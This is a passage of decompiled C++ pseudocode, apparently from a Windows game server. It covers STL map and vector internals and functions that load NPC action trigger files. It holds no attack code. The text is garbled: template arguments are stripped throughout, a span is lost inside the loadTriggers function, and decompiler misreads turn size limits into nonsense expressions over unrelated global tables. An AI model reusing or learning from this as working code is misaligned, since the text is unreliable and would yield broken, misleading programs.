*(_DWORD *)(*(_DWORD *)(v4 + 8) + 4) = v6; } v12 = *((_DWORD *)v3 + 1); if ( *(_DWORD *)(v12 + 4) == v4 ) { *(_DWORD *)(v12 + 4) = v6; } else { v13 = *(_DWORD *)(v4 + 4); if ( *(_DWORD *)v13 == v4 ) *(_DWORD *)v13 = v6; else *(_DWORD *)(v13 + 8) = v6; } *(_DWORD *)(v6 + 4) = *(_DWORD *)(v4 + 4); v14 = *(_BYTE *)(v6 + 32); *(_BYTE *)(v6 + 32) = *(_BYTE *)(v4 + 32); *(_BYTE *)(v4 + 32) = v14; LABEL_36: if ( *(_BYTE *)(_Erasednode + 32) == 1 ) { if ( v5 != *(_DWORD *)(*((_DWORD *)v3 + 1) + 4) ) { do { if ( *(_BYTE *)(v5 + 32) != 1 ) break; v15 = *(_DWORD *)v7; if ( v5 == *(_DWORD *)v7 ) { v15 = *(_DWORD *)(v7 + 8); if ( !*(_BYTE *)(v15 + 32) ) { *(_BYTE *)(v15 + 32) = 1; *(_BYTE *)(v7 + 32) = 0; std::_Tree>_std::less_std::allocator>>>_0>>::_Lrotate( v3, (std::_Tree_nod >,std::less,std::allocator > *)v7); v15 = *(_DWORD *)(v7 + 8); } if ( *(_BYTE *)(v15 + 33) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)v15 + 32) != 1 || *(_BYTE *)(*(_DWORD *)(v15 + 8) + 32) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 32) == 1 ) { *(_BYTE *)(*(_DWORD *)v15 + 32) = 1; *(_BYTE *)(v15 + 32) = 0; std::_Tree>_std::less_std::allocator>>>_0>>::_Rrotate( v3, (std::_Tree_nod >,std::less,std::allocator > *)v15); v15 = *(_DWORD *)(v7 + 8); } *(_BYTE *)(v15 + 32) = *(_BYTE *)(v7 + 32); *(_BYTE *)(v7 + 32) = 1; *(_BYTE *)(*(_DWORD *)(v15 + 8) + 32) = 1; std::_Tree>_std::less_std::allocator>>>_0>>::_Lrotate( v3, (std::_Tree_nod >,std::less,std::allocator > *)v7); break; } } else { if ( !*(_BYTE *)(v15 + 32) ) { *(_BYTE *)(v15 + 32) = 1; *(_BYTE *)(v7 + 32) = 0; std::_Tree>_std::less_std::allocator>>>_0>>::_Rrotate( v3, (std::_Tree_nod >,std::less,std::allocator > *)v7); v15 = *(_DWORD *)v7; } if ( *(_BYTE *)(v15 + 33) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 32) != 1 || *(_BYTE *)(*(_DWORD *)v15 + 32) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)v15 + 32) == 1 ) { *(_BYTE *)(*(_DWORD *)(v15 + 8) + 32) = 1; *(_BYTE *)(v15 + 32) = 0; std::_Tree>_std::less_std::allocator>>>_0>>::_Lrotate( v3, (std::_Tree_nod >,std::less,std::allocator > *)v15); v15 = *(_DWORD *)v7; } *(_BYTE *)(v15 + 32) = *(_BYTE *)(v7 + 32); *(_BYTE *)(v7 + 32) = 1; *(_BYTE *)(*(_DWORD *)v15 + 32) = 1; std::_Tree>_std::less_std::allocator>>>_0>>::_Rrotate( v3, (std::_Tree_nod >,std::less,std::allocator > *)v7); break; } } *(_BYTE *)(v15 + 32) = 0; LABEL_54: v5 = v7; v16 = v7 == *(_DWORD *)(*((_DWORD *)v3 + 1) + 4); v7 = *(_DWORD *)(v7 + 4); } while ( !v16 ); } *(_BYTE *)(v5 + 32) = 1; } std::vector>::_Tidy((std::vector > *)(_Erasednode + 16)); operator delete((void *)_Erasednode); v17 = *((_DWORD *)v3 + 2); if ( v17 ) *((_DWORD *)v3 + 2) = v17 - 1; v18 = result; *result = _Where; return v18; } // 5DBB64: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (00544910) -------------------------------------------------------- void __thiscall std::_Tree>_std::less_std::allocator>>>_0>>::_Erase(std::_Tree >,std::less,std::allocator > > > *this, std::_Tree_nod >,std::less,std::allocator > *_Rootnode) { std::_Tree_nod >,std::less,std::allocator > *v2; // edi@1 std::_Tree >,std::less,std::allocator > > > *v3; // ebx@1 std::_Tree_nod >,std::less,std::allocator > *i; // esi@1 v2 = _Rootnode; v3 = this; for ( i = _Rootnode; !i[16]._Alnod.baseclass_0.dummy[0]; v2 = i ) { std::_Tree>_std::less_std::allocator>>>_0>>::_Erase( v3, *(std::_Tree_nod >,std::less,std::allocator > **)&i[4].baseclass_0.comp.baseclass_0.dummy[0]); i = *(std::_Tree_nod >,std::less,std::allocator > **)&i->baseclass_0.comp.baseclass_0.dummy[0]; std::_Tree_nod>_std::less_std::allocator>>>_0>>::_Node::__Node(v2); operator delete(v2); } } //----- (00544950) -------------------------------------------------------- NPCAction::Trigger *__thiscall std::vector>::_Ufill(std::vector > *this, NPCAction::Trigger *_Ptr, unsigned int _Count, NPCAction::Trigger *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (00544980) -------------------------------------------------------- void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right) { NPCAction::Trigger *v2; // eax@1 std::vector > *v3; // esi@1 int v4; // eax@2 int v5; // edi@7 void *v6; // eax@7 std::vector >::const_iterator v7; // ecx@7 std::vector >::const_iterator v8; // ST00_4@7 int v9; // [sp+0h] [bp-20h]@1 std::vector > *v10; // [sp+Ch] [bp-14h]@1 int *v11; // [sp+10h] [bp-10h]@1 int v12; // [sp+1Ch] [bp-4h]@7 v2 = _Right->_Myfirst; v3 = this; v11 = &v9; v10 = this; if ( v2 ) v4 = _Right->_Mylast - v2; else v4 = 0; this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( v4 ) { if ( v4 > (unsigned int)((char *)&ddt.ddt_Table[530][871].distance + 2) ) std::vector>::_Xlen(this); v5 = 24 * v4; v6 = operator new(24 * v4); v3->_Myfirst = (NPCAction::Trigger *)v6; v3->_Mylast = (NPCAction::Trigger *)v6; v3->_Myend = (NPCAction::Trigger *)((char *)v6 + v5); v7 = (std::vector >::const_iterator)_Right->_Mylast; v8 = (std::vector >::const_iterator)_Right->_Myfirst; v12 = 0; v3->_Mylast = std::_Uninit_copy>::const_iterator_NPCAction::Trigger___std::allocator>( v8, v7, (NPCAction::Trigger *)v6, &v3->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Right); } } //----- (00544A33) -------------------------------------------------------- void __usercall _L152797(int a1) { std::vector>::_Tidy(*(std::vector > **)(a1 - 20)); _CxxThrowException(0, 0); } //----- (00544A50) -------------------------------------------------------- int std::_Tree>_std::less_std::allocator>>>_0>>::erase(...) { std::_Tree >,std::less,std::allocator > > > v4; // ebx@1 std::_Tree >,std::less,std::allocator > > > v5; // esi@1 std::_Tree >,std::less,std::allocator > > > *v6; // edi@1 int v7; // eax@1 int v8; // eax@3 std::_Tree >,std::less,std::allocator > > > *v9; // eax@3 std::_Tree >,std::less,std::allocator > > > v10; // ecx@5 int v11; // eax@6 std::_Tree >,std::less,std::allocator > > > j; // eax@7 std::_Tree >,std::less,std::allocator > > > i; // eax@10 v4 = _Last; v5 = _First; v6 = this; v7 = *((_DWORD *)this + 1); if ( _First != *(_DWORD *)v7 || _Last != v7 ) { if ( _First != _Last ) { do { v10 = v5; if ( !*(_BYTE *)(v5 + 33) ) { v11 = *(_DWORD *)(v5 + 8); if ( *(_BYTE *)(v11 + 33) ) { for ( i = *(_DWORD *)(v5 + 4); !*(_BYTE *)(i + 33); i = *(_DWORD *)(i + 4) ) { if ( v5 != *(_DWORD *)(i + 8) ) break; v5 = i; } v5 = i; } else { v5 = *(_DWORD *)(v5 + 8); for ( j = *(_DWORD *)v11; !*(_BYTE *)(j + 33); j = *(_DWORD *)j ) v5 = j; } } std::_Tree>_std::less_std::allocator>>>_0>>::erase( v6, &_First, v10); } while ( v5 != v4 ); } v9 = result; *result = v5; } else { std::_Tree>_std::less_std::allocator>>>_0>>::_Erase( this, *(std::_Tree_nod >,std::less,std::allocator > **)(v7 + 4)); *(_DWORD *)(*((_DWORD *)v6 + 1) + 4) = *((_DWORD *)v6 + 1); v8 = *((_DWORD *)v6 + 1); *((_DWORD *)v6 + 2) = 0; *(_DWORD *)v8 = v8; *(_DWORD *)(*((_DWORD *)v6 + 1) + 8) = *((_DWORD *)v6 + 1); v9 = result; *result = **((_DWORD **)v6 + 1); } return v9; } //----- (00544B10) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, NPCAction::Trigger *_Val) { std::vector > *v4; // esi@1 NPCAction::Trigger *v5; // ebx@1 unsigned int v6; // ecx@1 signed int v7; // edx@2 unsigned int v8; // edi@3 int v9; // eax@5 int v10; // eax@10 int v11; // ecx@14 int v12; // eax@17 void *v13; // eax@21 void *v14; // ebx@21 std::vector >::const_iterator v15; // ST18_4@21 int v16; // eax@21 int v17; // edi@23 NPCAction::Trigger *v18; // eax@23 std::vector >::const_iterator v19; // ecx@26 std::vector >::iterator v20; // ebx@26 NPCAction::Trigger *v21; // ecx@27 NPCAction::Trigger *v22; // ST24_4@27 unsigned int v23; // edi@27 int v24; // [sp+0h] [bp-3Ch]@1 char _Tmp; // [sp+Ch] [bp-30h]@1 void *p; // [sp+18h] [bp-24h]@29 int v27; // [sp+1Ch] [bp-20h]@31 int v28; // [sp+20h] [bp-1Ch]@31 void *_Newvec; // [sp+24h] [bp-18h]@21 std::vector > *thisa; // [sp+28h] [bp-14h]@1 int *v31; // [sp+2Ch] [bp-10h]@1 int v32; // [sp+38h] [bp-4h]@1 NPCAction::Trigger *_Wherea; // [sp+44h] [bp+8h]@28 NPCAction::Trigger *_Ptr; // [sp+48h] [bp+Ch]@21 int _Vala; // [sp+4Ch] [bp+10h]@21 NPCAction::Trigger *_Valb; // [sp+4Ch] [bp+10h]@26 v4 = this; v31 = &v24; thisa = this; NPCAction::Trigger::Trigger((NPCAction::Trigger *)&_Tmp, _Val); v5 = v4->_Myfirst; v6 = 0; v32 = 0; if ( v5 ) { v7 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)v4->_Myend - (char *)v5)) >> 32) >> 2; v6 = v7 + ((unsigned int)v7 >> 31); } v8 = _Count; if ( _Count ) { if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( (unsigned int)((char *)&ddt.ddt_Table[530][871].distance + -v9 + 2) < _Count ) std::vector>::_Xlen(v4); if ( v5 ) v10 = v4->_Mylast - v5; else v10 = 0; if ( v6 >= _Count + v10 ) { v19 = (std::vector >::const_iterator)v4->_Mylast; v20 = _Where; _Valb = v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 24 >= _Count ) { _Wherea = (NPCAction::Trigger *)(*(_DWORD *)&v19 - 24 * _Count); v4->_Mylast = std::_Uninit_copy>::const_iterator_NPCAction::Trigger___std::allocator>( (std::vector >::const_iterator)(*(_DWORD *)&v19 - 24 * _Count), v19, *(NPCAction::Trigger **)&v19, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(v19.___u0.baseclass_0.baseclass_0.dummy[0] - 24 * _Count)); std::_Copy_backward_opt( *(NPCAction::Trigger **)&v20, _Wherea, _Valb, (std::_Nonscalar_ptr_iterator_tag)_Wherea); std::fill( *(NPCAction::Trigger **)&v20, (NPCAction::Trigger *)(*(_DWORD *)&v20 + 24 * _Count), (NPCAction::Trigger *)&_Tmp); } else { std::_Uninit_copy>::const_iterator_NPCAction::Trigger___std::allocator>( _Where.baseclass_0, v19, (NPCAction::Trigger *)(*(_DWORD *)&_Where + 24 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v21 = v4->_Mylast; v22 = v4->_Mylast; LOBYTE(v32) = 3; std::vector>::_Ufill( v4, v22, _Count - (signed int)((char *)v21 - *(_DWORD *)&_Where) / 24, (NPCAction::Trigger *)&_Tmp); v23 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (NPCAction::Trigger *)v23; v32 = 0; std::fill( *(NPCAction::Trigger **)&_Where, (NPCAction::Trigger *)(v23 - 24 * _Count), (NPCAction::Trigger *)&_Tmp); } } else { if ( (unsigned int)((char *)&ddt.ddt_Table[530][871].distance + -(v6 >> 1) + 2) >= v6 ) v11 = (v6 >> 1) + v6; else v11 = 0; if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; if ( v11 < _Count + v12 ) v11 = _Count + std::vector>::size(v4); _Vala = 24 * v11; v13 = operator new(24 * v11); v14 = v13; v15 = (std::vector >::const_iterator)v4->_Myfirst; _Newvec = v13; LOBYTE(v32) = 1; _Ptr = std::_Uninit_copy>::const_iterator_NPCAction::Trigger___std::allocator>( v15, _Where.baseclass_0, (NPCAction::Trigger *)v13, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Ptr, v8, (NPCAction::Trigger *)&_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::const_iterator_NPCAction::Trigger___std::allocator>( _Where.baseclass_0, (std::vector >::const_iterator)v4->_Mylast, &_Ptr[v8], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v16 = (int)v4->_Myfirst; v32 = 0; if ( v16 ) v16 = (signed int)((char *)v4->_Mylast - v16) / 24; v17 = v16 + v8; v18 = v4->_Myfirst; if ( v18 ) { std::vector>::_Destroy(v4, v18, v4->_Mylast); operator delete(v4->_Myfirst); } v4->_Myend = (NPCAction::Trigger *)((char *)v14 + _Vala); v4->_Mylast = (NPCAction::Trigger *)((char *)v14 + 24 * v17); v4->_Myfirst = (NPCAction::Trigger *)v14; } } v32 = -1; if ( p ) operator delete(p); p = 0; v27 = 0; v28 = 0; IObserver::_IObserver((ItemSmallBag *)&_Tmp); } //----- (00544E30) -------------------------------------------------------- std::pair > > *__cdecl std::make_pair>>(std::pair > > *result, unsigned __int16 _Val1, std::vector > _Val2) { result->first = _Val1; std::vector>::vector>( &result->second, &_Val2); std::vector>::_Tidy(&_Val2); return result; } //----- (00544EA0) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, NPCAction::Trigger _Val) { NPCAction::Trigger *v3; // esi@1 int v4; // eax@2 int v5; // eax@6 v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v4 >= _Newsize ) { if ( v3 && _Newsize < this->_Mylast - v3 ) std::vector>::erase( this, (std::vector >::iterator *)&_Newsize, (std::vector >::iterator)&v3[_Newsize], (std::vector >::iterator)this->_Mylast); } else { if ( v3 ) v5 = this->_Mylast - v3; else v5 = 0; std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, _Newsize - v5, &_Val); } if ( _Val.actions_._Myfirst ) operator delete(_Val.actions_._Myfirst); _Val.actions_._Myfirst = 0; _Val.actions_._Mylast = 0; _Val.actions_._Myend = 0; IObserver::_IObserver((ItemSmallBag *)&_Val); } //----- (00544F90) -------------------------------------------------------- int std::_Tree>_std::less_std::allocator>>>_0>>::_Buynode(...) { void *v6; // eax@1 void *v7; // esi@1 int v9; // [sp+0h] [bp-24h]@1 void *v10; // [sp+Ch] [bp-18h]@1 void *_Wherenode; // [sp+10h] [bp-14h]@1 int *v12; // [sp+14h] [bp-10h]@1 int v13; // [sp+20h] [bp-4h]@1 v12 = &v9; v6 = operator new(0x24u); v7 = v6; _Wherenode = v6; v13 = 0; v10 = v6; LOBYTE(v13) = 1; if ( v6 ) { *(_DWORD *)v6 = _Larg; *((_DWORD *)v6 + 1) = _Parg; *((_DWORD *)v6 + 2) = _Rarg; *((_WORD *)v6 + 6) = _Val->first; std::vector>::vector>( (std::vector > *)v6 + 1, &_Val->second); *((_BYTE *)v7 + 32) = _Carg; *((_BYTE *)v7 + 33) = 0; } return (std::_Tree_nod >,std::less,std::allocator > *)v7; } //----- (00545030) -------------------------------------------------------- void __thiscall std::map>_std::less_std::allocator>>>>::_map>_std::less_std::allocator>>>>(std::map >,std::less,std::allocator > > > > *this) { std::map >,std::less,std::allocator > > > > *v1; // esi@1 std::_Tree >,std::less,std::allocator > > > result; // [sp+0h] [bp-4h]@1 result = (std::_Tree >,std::less,std::allocator > > >)this; v1 = this; std::_Tree>_std::less_std::allocator>>>_0>>::erase( &this->baseclass_0, &result, **(std::_Tree >,std::less,std::allocator > > > **)&this->gap4[0], *(std::_Tree >,std::less,std::allocator > > > *)&this->gap4[0]); operator delete(*(void **)&v1->gap4[0]); *(_DWORD *)&v1->gap4[0] = 0; *(_DWORD *)&v1->gap4[4] = 0; } //----- (00545060) -------------------------------------------------------- int std::_Tree>_std::less_std::allocator>>>_0>>::_Insert(...) { std::_Tree >,std::less,std::allocator > > > *v5; // edi@1 std::_Tree >,std::less,std::allocator > > > v6; // ecx@4 int v7; // eax@4 int v8; // eax@7 int v9; // eax@9 int v10; // eax@11 std::_Tree_nod >,std::less,std::allocator > *v11; // esi@11 int v12; // ecx@12 int v13; // ebp@12 int v14; // edx@12 std::_Tree >,std::less,std::allocator > > > *v15; // eax@24 std::basic_string,std::allocator > thisa; // [sp+8h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+24h] [bp-34h]@2 int v18; // [sp+54h] [bp-4h]@2 std::_Tree >,std::less,std::allocator > > > _Vala; // [sp+68h] [bp+10h]@4 v5 = this; if ( *((_DWORD *)this + 2) >= (unsigned int)((char *)&pathfindtable.pft_table[13][2358].pfc_flag + 3) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "map/set too long", 0x13u); v18 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } v6 = (std::_Tree >,std::less,std::allocator > > >)std::_Tree>_std::less_std::allocator>>>_0>>::_Buynode(this, *((std::_Tree_nod >,std::less,std::allocator > **)this + 1), _Wherenode, *((std::_Tree_nod >,std::less,std::allocator > **)this + 1), _Val, 0); v7 = *((_DWORD *)v5 + 1); _Vala = v6; ++*((_DWORD *)v5 + 2); if ( _Wherenode == (std::_Tree_nod >,std::less,std::allocator > *)v7 ) { *(_DWORD *)(v7 + 4) = v6; **((_DWORD **)v5 + 1) = v6; *(_DWORD *)(*((_DWORD *)v5 + 1) + 8) = v6; } else { if ( _Addleft ) { *(_DWORD *)&_Wherenode->baseclass_0.comp.baseclass_0.dummy[0] = v6; v8 = *((_DWORD *)v5 + 1); if ( _Wherenode == *(std::_Tree_nod >,std::less,std::allocator > **)v8 ) *(_DWORD *)v8 = v6; } else { *(_DWORD *)&_Wherenode[4].baseclass_0.comp.baseclass_0.dummy[0] = v6; v9 = *((_DWORD *)v5 + 1); if ( _Wherenode == *(std::_Tree_nod >,std::less,std::allocator > **)(v9 + 8) ) *(_DWORD *)(v9 + 8) = v6; } } v10 = v6 + 4; v11 = (std::_Tree_nod >,std::less,std::allocator > *)v6; if ( !*(_BYTE *)(*(_DWORD *)(v6 + 4) + 32) ) { while ( 1 ) { v12 = *(_DWORD *)v10; v13 = *(_DWORD *)(*(_DWORD *)v10 + 4); v14 = *(_DWORD *)v13; if ( *(_DWORD *)v10 == *(_DWORD *)v13 ) { v14 = *(_DWORD *)(v13 + 8); if ( *(_BYTE *)(v14 + 32) ) { if ( v11 == *(std::_Tree_nod >,std::less,std::allocator > **)(v12 + 8) ) { v11 = *(std::_Tree_nod >,std::less,std::allocator > **)v10; std::_Tree>_std::less_std::allocator>>>_0>>::_Lrotate( v5, *(std::_Tree_nod >,std::less,std::allocator > **)v10); } *(_BYTE *)(*(_DWORD *)&v11[2].baseclass_0.comp.baseclass_0.dummy[0] + 32) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v11[2].baseclass_0.comp.baseclass_0.dummy[0] + 4) + 32) = 0; std::_Tree>_std::less_std::allocator>>>_0>>::_Rrotate( v5, *(std::_Tree_nod >,std::less,std::allocator > **)(*(_DWORD *)&v11[2].baseclass_0.comp.baseclass_0.dummy[0] + 4)); goto LABEL_22; } } else { if ( *(_BYTE *)(v14 + 32) ) { if ( v11 == *(std::_Tree_nod >,std::less,std::allocator > **)v12 ) { v11 = *(std::_Tree_nod >,std::less,std::allocator > **)v10; std::_Tree>_std::less_std::allocator>>>_0>>::_Rrotate( v5, *(std::_Tree_nod >,std::less,std::allocator > **)v10); } *(_BYTE *)(*(_DWORD *)&v11[2].baseclass_0.comp.baseclass_0.dummy[0] + 32) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v11[2].baseclass_0.comp.baseclass_0.dummy[0] + 4) + 32) = 0; std::_Tree>_std::less_std::allocator>>>_0>>::_Lrotate( v5, *(std::_Tree_nod >,std::less,std::allocator > **)(*(_DWORD *)&v11[2].baseclass_0.comp.baseclass_0.dummy[0] + 4)); goto LABEL_22; } } *(_BYTE *)(*(_DWORD *)v10 + 32) = 1; *(_BYTE *)(v14 + 32) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)v10 + 4) + 32) = 0; v11 = *(std::_Tree_nod >,std::less,std::allocator > **)(*(_DWORD *)v10 + 4); LABEL_22: v10 = (int)&v11[2]; if ( *(_BYTE *)(*(_DWORD *)&v11[2].baseclass_0.comp.baseclass_0.dummy[0] + 32) ) { v6 = _Vala; break; } } } v15 = result; *(_BYTE *)(*(_DWORD *)(*((_DWORD *)v5 + 1) + 4) + 32) = 1; *result = v6; return v15; } // 5DBB58: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00545210) -------------------------------------------------------- bool __cdecl NPCAction::Util::loadFromOptionReader(std::vector > *destManager, const char *fileName) { unsigned int v2; // esi@2 std::vector >::iterator v3; // esi@2 unsigned int v4; // eax@2 bool result; // al@4 int v6; // [sp-18h] [bp-1089Ch]@2 int v7; // [sp-14h] [bp-10898h]@2 int v8; // [sp-10h] [bp-10894h]@2 int *v9; // [sp+4h] [bp-10880h]@2 int generator; // [sp+8h] [bp-1087Ch]@2 int v11; // [sp+Ch] [bp-10878h]@2 std::vector > _Right; // [sp+10h] [bp-10874h]@2 OptionReader optionReader; // [sp+20h] [bp-10864h]@1 unsigned int cookie; // [sp+10874h] [bp-10h]@4 int v15; // [sp+10880h] [bp-4h]@1 OptionReader::OptionReader(&optionReader); v15 = 0; if ( OptionReader::or_Read(&optionReader, (char *)fileName) ) { NPCAction::TriggerGen_OptionReader::TriggerGen_OptionReader( (NPCAction::TriggerGen_OptionReader *)&generator, &optionReader); LOBYTE(v15) = 1; v2 = NPCAction::TriggerGen_OptionReader::size((NPCAction::TriggerGen_OptionReader *)&generator); v9 = &v6; NPCAction::Trigger::Trigger((NPCAction::Trigger *)&v6); std::vector>::resize( destManager, v2, *(NPCAction::Trigger *)&v6); v6 = generator; v9 = &v6; v7 = v11; std::vector>::vector>( (std::vector > *)&v8, &_Right); v3 = (std::vector >::iterator)destManager->_Myfirst; LOBYTE(v15) = 1; v4 = NPCAction::TriggerGen_OptionReader::size((NPCAction::TriggerGen_OptionReader *)&generator); std::generate_n>::iterator_unsigned_int_NPCAction::TriggerGen_OptionReader>( v3, v4, *(NPCAction::TriggerGen_OptionReader *)&v6); LOBYTE(v15) = 0; std::vector>::_Tidy(&_Right); v15 = -1; OptionReader::_OptionReader(&optionReader); } else { v15 = -1; OptionReader::_OptionReader(&optionReader); } __security_check_cookie(cookie); return result; } //----- (00545350) -------------------------------------------------------- int std::_Tree>_std::less_std::allocator>>>_0>>::insert(...) { std::pair > > *v3; // ebp@1 std::_Tree >,std::less,std::allocator > > > *v4; // edi@1 std::_Tree >,std::less,std::allocator > > > v5; // esi@1 std::_Tree >,std::less,std::allocator > > > v6; // eax@1 bool v7; // cl@1 const unsigned __int16 v8; // dx@2 std::_Tree >,std::less,std::allocator > > > v9; // edx@7 std::_Tree >,std::less,std::allocator > > > v10; // edx@9 std::pair >,std::less,std::allocator >,std::less,std::allocator > > > v12; // ecx@12 char _Addleft; // [sp+Ch] [bp-4h]@1 v3 = _Val; v4 = this; v5 = *((_DWORD *)this + 1); v6 = *(_DWORD *)(v5 + 4); v7 = 1; _Addleft = 1; if ( !*(_BYTE *)(v6 + 33) ) { v8 = _Val->first; do { v5 = v6; v7 = v8 < *(_WORD *)(v6 + 12); _Addleft = v8 < *(_WORD *)(v6 + 12); if ( v8 >= *(_WORD *)(v6 + 12) ) v6 = *(_DWORD *)(v6 + 8); else v6 = *(_DWORD *)v6; } while ( !*(_BYTE *)(v6 + 33) ); } v9 = v5; _Val = (std::pair > > *)v5; if ( v7 ) { if ( v5 == **((_DWORD **)v4 + 1) ) { v10 = *std::_Tree>_std::less_std::allocator>>>_0>>::_Insert( v4, (std::_Tree >,std::less,std::allocator > > > *)&_Val, 1, (std::_Tree_nod >,std::less,std::allocator > *)v5, v3); v11 = result; result->second = 1; result->first = v10; return v11; } std::_Tree>_std::less_std::allocator>>>_0>>::const_iterator::_Dec((std::_Tree >,std::less,std::allocator > > > *)&_Val); v9 = (std::_Tree >,std::less,std::allocator > > >)_Val; } if ( *(_WORD *)(v9 + 12) >= v3->first ) { v11 = result; result->second = 0; result->first = v9; } else { v12 = *std::_Tree>_std::less_std::allocator>>>_0>>::_Insert( v4, (std::_Tree >,std::less,std::allocator > > > *)&_Val, _Addleft, (std::_Tree_nod >,std::less,std::allocator > *)v5, v3); v11 = result; result->first = v12; result->second = 1; } return v11; } //----- (00545410) -------------------------------------------------------- bool __cdecl NPCAction::Util::loadTriggers() { char *v0; // eax@5 char v1; // cl@6 unsigned int v2; // eax@7 const char *v3; // eax@7 unsigned __int16 v4; // ax@9 unsigned __int16 v5; // si@9 std::pair > > *v6; // eax@9 void *v7; // edi@9 NPCAction::Trigger *v8; // ebp@10 NPCAction::Trigger *i; // esi@10 IObserverVtbl *v10; // edx@11 NPCAction::Trigger *v11; // esi@13 NPCAction::Trigger *v12; // edi@14 IObserverVtbl *v13; // eax@15 void *v14; // ebp@21 int v15; // edi@22 void *j; // esi@22 int v17; // edx@23 __int32 v18; // esi@25 bool v19; // al@26 std::vector > v20; // [sp-10h] [bp-230h]@9 unsigned int v21; // [sp-4h] [bp-224h]@4 char _Ptr[4]; // [sp+10h] [bp-210h]@7 char collection; // [sp+14h] [bp-20Ch]@4 void *p; // [sp+18h] [bp-208h]@4 int v25; // [sp+1Ch] [bp-204h]@4 int v26; // [sp+20h] [bp-200h]@4 __int32 handle; // [sp+24h] [bp-1FCh]@1 std::pair > > _Val; // [sp+28h] [bp-1F8h]@9 std::pair > > result; // [sp+3Ch] [bp-1E4h]@9 std::vector > *v30; // [sp+50h] [bp-1D0h]@9 char v31; // [sp+54h] [bp-1CCh]@9 char mobInx; // [sp+5Ch] [bp-1C4h]@7 void *mobindex; // [sp+60h] [bp-1C0h]@5 int v34; // [sp+70h] [bp-1B0h]@5 unsigned int v35; // [sp+74h] [bp-1ACh]@5 struct _finddata_t buffer; // [sp+78h] [bp-1A8h]@1 char path_buffer[128]; // [sp+190h] [bp-90h]@4 unsigned int v38; // [sp+210h] [bp-10h]@26 int v39; // [sp+21Ch] [bp-4h]@4 handle = _findfirst("../9Data/Shine/MobSetting/Action/*.txt", &buffer); if ( handle == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_start_old : Invalid file path", 0); ShineExit("NPCAction::Util::loadTriggers"); } do { p = 0; v25 = 0; v26 = 0; v21 = (unsigned int)buffer.name; v39 = 0; sprintf(path_buffer, "../9Data/Shine/MobSetting/Action/%s"); if ( NPCAction::Util::loadFromOptionReader( (std::vector > *)&collection, path_buffer) ) { v0 = buffer.name; v35 = 15; v34 = 0; LOBYTE(mobindex) = 0; do v1 = *v0++; while ( v1 ); std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&mobInx, buffer.name, v0 - &buffer.name[1]); v21 = -1; LOBYTE(v39) = 1; _Ptr[0] = 46; v2 = std::basic_string_std::allocator>::rfind( (std::basic_string,std::allocator > *)&mobInx, _Ptr, 0xFFFFFFFFu, 1u); std::basic_string_std::allocator>::erase( (std::basic_string,std::allocator > *)&mobInx, v2, v21); v3 = (const char *)mobindex; if ( v35 < 0x10 ) v3 = (const char *)&mobindex; v4 = MobDataBox::mdb_2MobID(&mobdatabox, v3); v30 = &v20; v5 = v4; std::vector>::vector>( &v20, (std::vector > *)&collection); v6 = std::make_pair>>( &result, v5, v20); _Val.first = v6->first; LOBYTE(v39) = 2; std::vector>::vector>( &_Val.second, &v6->second); LOBYTE(v39) = 3; std::_Tree>_std::less_std::allocator>>>_0>>::insert( &triggerDic, (std::pair >,std::less,std::allocatorbaseclass_0.vfptr; v21 = 0; v10->__vecDelDtor(i, 0); } operator delete(v7); } v11 = result.second._Myfirst; _Val.second._Myfirst = 0; _Val.second._Mylast = 0; _Val.second._Myend = 0; LOBYTE(v39) = 1; if ( result.second._Myfirst ) { v12 = result.second._Mylast; if ( result.second._Myfirst != result.second._Mylast ) { do { v13 = v11->baseclass_0.vfptr; v21 = 0; v13->__vecDelDtor(v11, 0); ++v11; } while ( v11 != v12 ); v11 = result.second._Myfirst; } operator delete(v11); } result.second._Myfirst = 0; result.second._Mylast = 0; result.second._Myend = 0; if ( v35 >= 0x10 ) operator delete(mobindex); v35 = 15; v34 